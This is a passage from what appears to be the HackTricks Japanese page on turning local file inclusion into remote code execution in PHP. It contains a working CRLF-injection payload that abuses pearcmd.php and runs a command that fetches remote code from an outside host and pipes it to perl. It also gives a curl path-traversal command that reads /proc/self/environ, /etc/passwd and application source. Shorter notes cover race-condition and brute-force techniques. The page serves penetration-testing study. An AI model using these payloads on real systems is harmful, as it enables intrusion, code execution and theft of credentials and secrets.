以下はCRLF vulnを悪用してRCEを取得する例です(出典: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() 経由(file_uploads = on)
もしLocal File Inclusionを発見し、file_uploads = on を返す phpinfo() を出力するファイルがあれば、RCE を得られる可能性があります:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure 経由
もしLocal File Inclusionを見つけ、一時ファイルのパスをexfiltrateできるが、サーバーが含めるファイルにPHPマークがあるかをチェックしている場合は、このRace Conditionでそのチェックをバイパスすることができます:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce 経由
もし LFI を悪用して一時ファイルをアップロードでき、サーバーが PHP 実行をハングさせられるなら、ファイル名を何時間もかけてbrute forceして一時ファイルを見つけることができます:
Fatal Error への誘導
もし /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar のいずれかを include するとエラーが発生します。(そのエラーを出すには同じファイルを2回 include する必要があります)。
どう役立つかはわかりませんが、可能性はあります。
PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。
.png)
クライアントからのトラバーサルシーケンスを保持する
一部の HTTP クライアントはリクエストがサーバーに到達する前に ../ を正規化または折り畳んでしまい、directory traversal payloads を壊してしまいます。ログ/ダウンロードのエンドポイントでユーザー制御のファイル名を連結している場合に traversal をそのまま保つには curl --path-as-is を使用し、/proc のような疑似ファイルには --ignore-content-length を追加してください:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
意図したディレクトリから抜け出すまで ../ セグメントの数を調整し、/etc/passwd、/proc/self/cwd/app.py、またはその他のソース/設定ファイルをダンプします。
参考資料
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


